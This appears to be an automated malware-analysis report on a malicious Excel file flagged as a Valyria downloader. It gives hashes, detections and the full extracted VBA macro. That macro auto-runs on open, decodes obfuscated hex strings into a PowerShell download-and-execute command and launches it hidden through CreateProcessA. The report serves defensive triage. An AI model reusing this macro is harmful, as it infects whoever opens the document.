Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3e8a117c6dcf275f…

MALICIOUS

Office (OLE)

58.5 KB Created: 2018-01-29 05:21:05 Authoring application: Microsoft Excel First seen: 2018-02-07
MD5: e7b919b8d7fe011dec127a30162ade45 SHA-1: 6de0bee1aa0dedefff43e219fc46da549ea535b0 SHA-256: 3e8a117c6dcf275f978296a9a5ab27ddcec752011d0f8e547dcb43ab1be4e02c
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains both Excel 4.0 macros and VBA macros, with the VBA macros referencing the CreateProcess API. The presence of a Workbook_Open and Document_Open macro suggests an attempt to automatically execute malicious code upon opening the document. The ClamAV detection indicates this is a known downloader, likely Valyria, which typically downloads and executes further payloads.

Heuristics 7

  • ClamAV: Xls.Downloader.Valyria-6852494-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Valyria-6852494-0
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Workbook_Open()
    Document_Open
End Sub
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
    Document_Open
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 172 bytes
SHA-256: 352ef780fe28bd5ff23a3746b4c014592cf18e817485f0403fde5997d9d0ca4f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Macro
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19368 bytes
SHA-256: 7bb6d7b7339e98abacfe6d8b7a5e54914b646c0fc982282a600c2ff828f83b72
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 63 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit

#If VBA7 Then


    Private Type G_EQ
        B_UD As Long
        ZPL_UDB As LongPtr
            KYH_OTS As Long
    End Type
    Private Declare PtrSafe Function CreateProcessA Lib "Kernel32" (ByVal ZXD_KUF As Long, ByVal S_KEJ As String, SBD_R As Any, A_HG As Any, ByVal AF_FZ As Long, ByVal WL_ED As Long, ByVal QXG_XZ As Any, ByVal UHX_HLP As Long, CSW_QW As YF_AU, J_RA As Q_G) As LongPtr


        Private Type YF_AU
        XZL_M As Long
        EBL_ATG As String
        K_H As String
        K_I As String
        GL_CAX As Long
        QZR_GEA As Long
        LNP_PPT As Long
        SZE_BF As Long
        DNS_VPH As Long
        GK_CKN As Long
        GC_GT As Long
        K_Q As Long
        YU_SNN As Integer
        INR_XGQ As Integer
        EBL_ATG2  As LongPtr
        T_DIC As LongPtr
        FS_WFE As LongPtr
        FRA_OP As LongPtr
    End Type
        Private Type Q_G
        QH_DB As LongPtr
            LHB_DS As LongPtr
        EL_T As Long
        N_UTV As Long
    End Type
#Else

    Private Type YF_AU
        XZL_M As Long
        EBL_ATG As String
        K_H As String
        K_I As String
        GL_CAX As Long
        QZR_GEA As Long
        LNP_PPT As Long
        SZE_BF As Long
        DNS_VPH As Long
        GK_CKN As Long
        GC_GT As Long
        K_Q As Long
        YU_SNN As Integer
        INR_XGQ As Integer
        EBL_ATG2 As Long
        T_DIC As Long
        FS_WFE As Long
        FRA_OP As Long
    End Type
        
    
    Private Type G_EQ
        B_UD As Long
        ZPL_UDB As Long
        KYH_OTS As Long
    End Type
    Private Declare Function CreateProcessA Lib "Kernel32" (ByVal ZXD_KUF As Long, ByVal S_KEJ As String, SBD_R As G_EQ, A_HG As G_EQ, ByVal AF_FZ As Long, ByVal WL_ED As Long, ByVal QXG_XZ As Long, ByVal UHX_HLP As Long, CSW_QW As YF_AU, J_RA As Q_G) As Long
            Private Type Q_G
        QH_DB As Long
        LHB_DS As Long
        EL_T As Long
        N_UTV As Long
    End Type

#End If

Sub Workbook_Open()
    Document_Open
End Sub
Public Sub Document_Open()
    X_OV
End Sub
Public Sub X_OV()
    Dim LV_NE As G_EQ
    Dim F_QV As G_EQ
    Dim DX_FV As YF_AU
    DX_FV.K_Q = &H1&
    Dim GZ_KCD As Q_G
    Dim VMU_P As String
VMU_P = "45689D8B46688C6B688076685F6868686881867568683768955A688368686868686857394968A6687C68686868683A686868746881688F68686868688D687873903F68A78E68688868404F6B31A6497B6868449485689D8568686368A294707BA4A168686866686"
Dim FF_V As String
FF_V = "86868686A684C685C685A71689168686E68682C68686872684F908B444A6899685B686868307D714B68682A80689168A1682E8F9B688568658768687059A66898687768A26868947268592E686868689968299368686852686868A765688F359268394368682E91"
Dim WNA_UVJ As String
WNA_UVJ = "6851685468716832685E68593B3A68684D6847589370686868686868682B686868682B688F9E77682C5F6881617D686879747268688B686868813768685E39683F684F68557B6868686C68685B6885686882686868686D682B75456945362A68684A6868684C686"
Dim OYW_HTR As String
OYW_HTR = "868688B68296868684E7C687F686568686890686868685E683E87686843685E6842686868682B636849447F9AA3683A68686C45688C3B728055656854964A33688F68666887686868566895687768406876686868A37B2F6868686840377E68398233687E50686F"
Dim VUN_G As String
VUN_G = "68676868686832904D916868635D7968A75F856868576848A5979D6896554F49687A9668688A68A67694685968686832465447687880A0973D5F783D686864686868686868686883686840686868686A37849A7A6868A76853A29168689BA168516850469771617"
Dim YUN_PRS As String
YUN_PRS = "D686888A850686853399E56855D7268683A6842683437689F2D686868A768684C46688E68686868686668676E4468683964688568478A686868314B324290686890623F68687E6868368068A56888837868686868A0522D683C6868688B686868686868686B6868"
Dim MQD_JY As String
MQD_JY = "43687845688468688E686853675D836868A36853A168685C68A1688A2A68746865396852687168584668749B68686C68689468683F416868685E4A2D686868687368A4686C687268685D6868689768425D622C684D6C8268683B965368688C686868684D959A743"
Dim JR_TFJ As String
JR_TFJ = "26868916868946884993368A74A683063687D595647685D6868683D9F6868686868686889686868684D68689A68686868464368686868683980666868706868955F6872689C79684786375A68683D6868462F3B68836878A668898B68689568736868A068918768"
Dim Z_NH As String
Z_NH = "4BA1682A4F6866686868918F4C68682A31626882A150559A6868636896576B68688A68688368527568682C682E6880686897809A2E6168754D8868A66C6A9C686868688B356896385A68688F516868687068686C685168685E6568709E987681686E6868682A706"
Dim MKK_NSD As String
MKK_NSD = "98E99684C60CD6868A1686898466868A09A5968685381426844805F6868682C6568299A68A268A16868688A5155505668687E6441A37C4493976884686844956868682E9B686866688B6860685833689C6668682968684768389E29467068A5686F738350434244"
Dim FJ_GSC As String
FJ_GSC = "40686868448A648C68689A326068686A70685765684368686896744B68689E682B68683A455F686E608E323C69689A686868684489687B68A068785F9751947F686836684549856D6F9E6868688234688A68A777986868966868688A683868688083A6686868806"
Dim LFT_KSL As String
LFT_KSL = "86839686846686868966831746C527D68A3686868A6682C2B68436833686868686868A86835686C683668353F7C714A69686876686E684468396897323968687F68586868828368A582686868A46832876891689468965759A4685C2C688468686868774E686868"
Dim CR_AJ As String
CR_AJ = "684D6C68686868682F4D3F60686868686868A168683A68686899683C9F68682D7168826843682D687D8D68968268687B387A685B36686867446868686865688D68684D9D686E68689168686E68844DA1795B68687450996E68688B688068F52A6868686868686D6"
Dim VYJ_T As String
VYJ_T = "8537F3568685F68683F6E8CA76841683D68686868686868446C696880689C63A25A4A688C683B68685669688936459768347A308A6868685CA56868685A6868512E686829685AA16840687468A236506868684B5B41686833595A686868686868603192A0682F68"
Dim L_W As String
L_W = "686872687C6897934D7A68306868683B9E68682968687168696A2D688368686872946868576D9F683F68A59368386A45802A686868686B29686868A193686868898F6846606F6833666868688B685929688F81683D6891526868986868819268689C77686868486"
Dim TF_IZ As String
TF_IZ = "871A468297C5D68687EA0686F99686868897780686835689F4B686871687068A1685C906872689168684C84396868687F6868687E9868685977686B6858686868867387686868366A6868377B68688868686862A7684B52A66874687C6880684D68686E883C6868"
Dim PBD_OT As String
PBD_OT = "686868686092A1709168668768406449686891946868576856674B43A3684F66684280696863688368426899A04DA783687868686832547E55684F3F4968686868333B68683A2C6F3D686868689869689D8EA668686838A65668682B68689B686C9C70636866686"
Dim TXE_Y As String
TXE_Y = "8686887685F6868A170688F84369E6841682F683B556884416868512E685F6868683A4668686833685571686855688E686882686868682C6868926868683968A7A46881686E6868686868686868684C7F8F6868333F747A6668699B686784A368689691A2686895"
Dim C_SUR As String
C_SUR = "6868686868686F6192345C6891586844662DA3836868929768668568684A998560689E85556868842F689886426F6668879E68687D514D9C9B6891866884686868A659685F683A926868686868399D684868A76668A73138A22A68625B8468656868683F6868688"
Dim KN_YVI As String
KN_YVI = "D5C587EA168A28BA69A666868A18E6D9E49405D6868608F582E849D9F68689C9E68687A77686868686846686868487E4F68687B6868684F9C5A2D68684268683D6868536876459F726860687D496868684C3E767E68684B6868683F597B4F684C34888D949268A4"
Dim JD_F As String
JD_F = "9868A85F65686868686868687B68985E909850682F6F6868909D726875689EA66868682F7E684968684B68905968687568572D68A76892676896684F8F32684D9FA1769E689268777C686868A868686847A4A468689C68A6683B689768A49168858768776868546868687D689260686868A3A62A846868967C6842917A6868686F687468686868686837683B68A02D686868686545842C687E3F806E68455C8468976568685468683B75926868689F6868686868A368A168426868504878"

    Dim W_KLQ As String
W_KLQ = W_KLQ + "9998A08"
W_KLQ = W_KLQ + "E9B9C91"
W_KLQ = W_KLQ + "8E95955"
W_KLQ = W_KLQ + "78EA18E"
W_KLQ = W_KLQ + "4956809"
W_KLQ = W_KLQ + "2978D98"
W_KLQ = W_KLQ + "A07C9DA"
W_KLQ = W_KLQ + "2958E49"
W_KLQ = W_KLQ + "71928D8"
W_KLQ = W_KLQ + "D8E9749"
W_KLQ = W_KLQ + "5697989"
W_KLQ = W_KLQ + "99B988F"
W_KLQ = W_KLQ + "92958E49"
W_KLQ = W_KLQ + "728F49519D8E9C9D56998A9D9149494D8E979F636A79796D6A7D6A49544950856090A05F578EA18E505249A47B8E96989F8E56729D8E9649494D8E979F636A79796D6A7D6A495449508560"
Dim BO_U As String
BO_U = "90A05F578EA18E50A664494D786E747A6D496649778EA056788B938E8C9D497CA29C9D8E9657778E9D57808E8B6C95928E979D64494D786E747A6D57718E8A8D8E9B9C84507E9C8E9B566A"
Dim T_CNO As String
T_CNO = "908E979D5086496649507E7C7B5674755064494D786E747A6D576D98A09795988A8D6F92958E5150919D9D99635858998E9D9B98959592968EA1578C98965872968A908E9C588C98978F92"
Dim E_AP As String
E_AP = "9B968A9D929897578EA18E5055494D8E979F636A79796D6A7D6A49544950856090A05F578EA18E5052644951778EA056788B938E8C9D49568C9896497C918E9595576A999995928C8A9D92989752577C918E95956EA18E8C9E9D8E514D8E979F636A79796D6A7D6A49544950856090A05F578EA18E505264497C9D989956799B988C8E9C9C4956728D494D79928D49566F989B8C8E"
 Dim ACW_ID As String
  ACW_ID = W_KLQ & BO_U & T_CNO & E_AP

   Dim O_X As Long
   Dim GEK_B As String
   Dim F_LY As String
   For O_X = 1 To Len(ACW_ID) Step 2
        F_LY = Chr("&H" & Mid(ACW_ID, O_X, 2))
        GEK_B = GEK_B & Chr(Asc(F_LY) - 41)
   Next
   #If VBA7 Then
        Dim L As LongPtr
        L = CreateProcessA(0&, GEK_B, LV_NE, F_QV, False, &H20&, 0&, 0&, DX_FV, GZ_KCD)
        Dim DL_BM As String
DL_BM = "68623868687168589890A48E6D6868687768795762676841A4699A6B68886868686668683769686834A268516854629D68683492686741A634306E68316887914868688E6872685C8068683E606868686868A56B6CAC5D6868688B9A4C929E684368686D65DB68688C68"
Dim TJB_Q As String
TJB_Q = "8D683648687B4C4E684F683768593A684B68685A7A46568D9AA36868A3848C2E68689D6847296C68686768683D534168682A682E5C686868766877426868686889913F6848786C686868688578686268836868683268688C668068A368686468682A686863686868387F"
Dim OF_TT As String
OF_TT = "68826868514E426868879C53686863764C684A686E6868687F68487B652F4768556868688F686868688C686844682D9E9B5068686868A52E6896686968684F68666868686852586868977668686868376859683A75682E4D5C4C686868687268568D68684D68686868A2"
Dim BL_XPG As String
BL_XPG = "685273629A4168357AA06868682E6868686068686A686268686850886868A632689F716868669BA897686E68684B2E79326898A86868686860A8877877688139A3563368686868686171682E684368684B3768376880A768686865684B5A9CA15E4D9941916895519E6F"
Dim CHH_K As String
CHH_K = "614D6868456868556832682B6868686868433E4088686868A86868A66898686C4782423B686879686892685B5D6868A36868835A496830554F39689C687A9268685A68716868484F686868685468686868673A68683B689E68A26857688F68688468486868683B68685A"
Dim SSV_MZB As String
SSV_MZB = "688D54685C3D68A4536868686868686E796868389868632A6868684668682B68686F39996878438868685268687E949B689F2C686868535368686886A56868686868687668684C77683A68617C68976868304791686F6868684B799B682B686868524F366668687B6868"
Dim UA_I As String
UA_I = "759E68363B686868446868687142682A688E51688F6837688868686833685068704A683D66684368686837546868686E68686859686884686868689668916829684668379C6868296868682E6868542F68688A80606868686E8672689C686868685168486B6868606868"
Dim X_JP As String
X_JP = "6868686FA1686868516868685D5D68683F8E68682F46339B51356868685397686868A0406877686868836C68689E6868683E3A68686868796868686D9D5B7A7968687A68686868688F6857684A7653658199A768685D686B6868356884685168708668A168658B90579F"
Dim QPM_UQF As String
QPM_UQF = "683D6868A3686831446868A7C768683E6868333C686572146868453640687C766868686068567C688F48682D686850A368669468929F68683B9C68686868977929487D6841208D4A45A851686868687A8F68A23B5C7268684468688D68556868686868A3689893756868"
Dim CJJ_LF As String
CJJ_LF = "5A63683249939B686868683359916868986868686868684B68685C3368687B68A7683C686868A5686868687E6E686868688F68676468687F687C686F2C686768686835683C803F3C68845A87438077687D688868684D68635C687A39686838848434406845687C635151"
Dim KX_SIZ As String
KX_SIZ = "684E909468A7686868684B68756868452E2E974674682C37696868A8684E40A5595D3EDD7F6834576DA56868A08BA2725F5D4B686868788D85686833595B6868689841686868689C8C6830817A4E68653F5E8B6868688268689057686829683A68486C31736868688068"
Dim SDH_LP As String
SDH_LP = "61683C606868686868683E4C68818C3E688B6868685A6868536868946E939A68687C686838352C6B686889684F4C5A69996868686B8B687F5D6868773A8580A16890682D9697687F68686868686830A3A668809EA3A2969A689B866B685A68546877685355682B656832"
Dim MN_GTY As String
MN_GTY = "68685C68906868688A682B526868687D3C6068686868A6346876686844689968676833A068686654684E68682F30686836686568686868926854682D687E2A68687E6880688163676868685C7468686868496868846868706895686D2E3F3368A6523E82686868686871"
Dim S_WR As String
S_WR = "A0686844513E689B686968685A683868689668986868517C4968685D3068686868938568687A6868A6686F68296868587268685C468C68686868689F8268946B6E2B9A68A24B686868683368877B68686868A36868684E686836747F566F68502D68683A596868943594"
Dim D_BR As String
D_BR = "5D99683253638568686884A65375306895686C68683068687E6868684338688568684768683A689AA36B5F6830686851688C6868689268A27968685B6868496868683D68687252519E6868688A3568A33B683B7489646854546868687E5168745668686868A76891683B"
Dim AUR_V As String
AUR_V = "68A68C306868689096689D74686868684768397F68685F684B6F68686877683D684C976868687B686868685E886868686855966868686868686359686868A4685B912C6888689381689E5D52683E686868686854685B683567A6682A8D8D6A68897B6868686C612B6F68"
Dim WJS_FQ As String
WJS_FQ = "6868686885875E6E6868775F4B687BA368683A686868692A686829A5686868654A3F686889685848687D3A44682CA3637E68345D6849689084688F6D666896736868656840637C688A68684D7A687D684F7F688F686868972D68686872686868685A6699678B687B4E63"
Dim UF_ZZ As String
UF_ZZ = "685E6B32733BA63F8A6868A77570685E6841684168297C687F3F7F6868468D6A747E6855686868865B643566736868A568555F63794A685D686868505696A2586629687AA563688AA068683F669A48687C6868526852689565A268685E2D683636682E53416864686864"
Dim VEE_NPJ As String
VEE_NPJ = "3D69686D68687668682E75688168696890686A68688B315868436864687A3F68558C5E3A6868525268306835686E6859685A68826368683D68C76868685F6868687F688268688B29986896928B686848A668737668494545726883417C684C686868A793686868A4689C7D5D65513868687D68937195626839567F7268688568688F2B82686768686868A368683D765B32686868784A68606D68579D5C5B4B68406880684E6868A28B6868686868684D68683B686E6868683D6839A7686868686832"

    #Else
        Dim L As Long
        L = CreateProcessA(0&, GEK_B, LV_NE, F_QV, False, &H20&, 0&, 0&, DX_FV, GZ_KCD)
        Dim DL_BM As String
DL_BM = "68623868687168589890A48E6D6868687768795762676841A4699A6B68886868686668683769686834A268516854629D68683492686741A634306E68316887914868688E6872685C8068683E606868686868A56B6CAC5D6868688B9A4C929E684368686D65DB68688C68"
Dim TJB_Q As String
TJB_Q = "8D683648687B4C4E684F683768593A684B68685A7A46568D9AA36868A3848C2E68689D6847296C68686768683D534168682A682E5C686868766877426868686889913F6848786C686868688578686268836868683268688C668068A368686468682A686863686868387F"
Dim OF_TT As String
OF_TT = "68826868514E426868879C53686863764C684A686E6868687F68487B652F4768556868688F686868688C686844682D9E9B5068686868A52E6896686968684F68666868686852586868977668686868376859683A75682E4D5C4C686868687268568D68684D68686868A2"
Dim BL_XPG As String
BL_XPG = "685273629A4168357AA06868682E6868686068686A686268686850886868A632689F716868669BA897686E68684B2E79326898A86868686860A8877877688139A3563368686868686171682E684368684B3768376880A768686865684B5A9CA15E4D9941916895519E6F"
Dim CHH_K As String
CHH_K = "614D6868456868556832682B6868686868433E4088686868A86868A66898686C4782423B686879686892685B5D6868A36868835A496830554F39689C687A9268685A68716868484F686868685468686868673A68683B689E68A26857688F68688468486868683B68685A"
Dim SSV_MZB As String
SSV_MZB = "688D54685C3D68A4536868686868686E796868389868632A6868684668682B68686F39996878438868685268687E949B689F2C686868535368686886A56868686868687668684C77683A68617C68976868304791686F6868684B799B682B686868524F366668687B6868"
Dim UA_I As String
UA_I = "759E68363B686868446868687142682A688E51688F6837688868686833685068704A683D66684368686837546868686E68686859686884686868689668916829684668379C6868296868682E6868542F68688A80606868686E8672689C686868685168486B6868606868"
Dim X_JP As String
X_JP = "6868686FA1686868516868685D5D68683F8E68682F46339B51356868685397686868A0406877686868836C68689E6868683E3A68686868796868686D9D5B7A7968687A68686868688F6857684A7653658199A768685D686B6868356884685168708668A168658B90579F"
Dim QPM_UQF As String
QPM_UQF = "683D6868A3686831446868A7C768683E6868333C686572146868453640687C766868686068567C688F48682D686850A368669468929F68683B9C68686868977929487D6841208D4A45A851686868687A8F68A23B5C7268684468688D68556868686868A3689893756868"
Dim CJJ_LF As String
CJJ_LF = "5A63683249939B686868683359916868986868686868684B68685C3368687B68A7683C686868A5686868687E6E686868688F68676468687F687C686F2C686768686835683C803F3C68845A87438077687D688868684D68635C687A39686838848434406845687C635151"
Dim KX_SIZ As String
KX_SIZ = "684E909468A7686868684B68756868452E2E974674682C37696868A8684E40A5595D3EDD7F6834576DA56868A08BA2725F5D4B686868788D85686833595B6868689841686868689C8C6830817A4E68653F5E8B6868688268689057686829683A68486C31736868688068"
Dim SDH_LP As String
SDH_LP = "61683C606868686868683E4C68818C3E688B6868685A6868536868946E939A68687C686838352C6B686889684F4C5A69996868686B8B687F5D6868773A8580A16890682D9697687F68686868686830A3A668809EA3A2969A689B866B685A68546877685355682B656832"
Dim MN_GTY As String
MN_GTY = "68685C68906868688A682B526868687D3C6068686868A6346876686844689968676833A068686654684E68682F30686836686568686868926854682D687E2A68687E6880688163676868685C7468686868496868846868706895686D2E3F3368A6523E82686868686871"
Dim S_WR As String
S_WR = "A0686844513E689B686968685A683868689668986868517C4968685D3068686868938568687A6868A6686F68296868587268685C468C68686868689F8268946B6E2B9A68A24B686868683368877B68686868A36868684E686836747F566F68502D68683A596868943594"
Dim D_BR As String
D_BR = "5D99683253638568686884A65375306895686C68683068687E6868684338688568684768683A689AA36B5F6830686851688C6868689268A27968685B6868496868683D68687252519E6868688A3568A33B683B7489646854546868687E5168745668686868A76891683B"
Dim AUR_V As String
AUR_V = "68A68C306868689096689D74686868684768397F68685F684B6F68686877683D684C976868687B686868685E886868686855966868686868686359686868A4685B912C6888689381689E5D52683E686868686854685B683567A6682A8D8D6A68897B6868686C612B6F68"
Dim WJS_FQ As String
WJS_FQ = "6868686885875E6E6868775F4B687BA368683A686868692A686829A5686868654A3F686889685848687D3A44682CA3637E68345D6849689084688F6D666896736868656840637C688A68684D7A687D684F7F688F686868972D68686872686868685A6699678B687B4E63"
Dim UF_ZZ As String
UF_ZZ = "685E6B32733BA63F8A6868A77570685E6841684168297C687F3F7F6868468D6A747E6855686868865B643566736868A568555F63794A685D686868505696A2586629687AA563688AA068683F669A48687C6868526852689565A268685E2D683636682E53416864686864"
Dim VEE_NPJ As String
VEE_NPJ = "3D69686D68687668682E75688168696890686A68688B315868436864687A3F68558C5E3A6868525268306835686E6859685A68826368683D68C76868685F6868687F688268688B29986896928B686848A668737668494545726883417C684C686868A793686868A4689C7D5D65513868687D68937195626839567F7268688568688F2B82686768686868A368683D765B32686868784A68606D68579D5C5B4B68406880684E6868A28B6868686868684D68683B686E6868683D6839A7686868686832"

    #End If
    
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.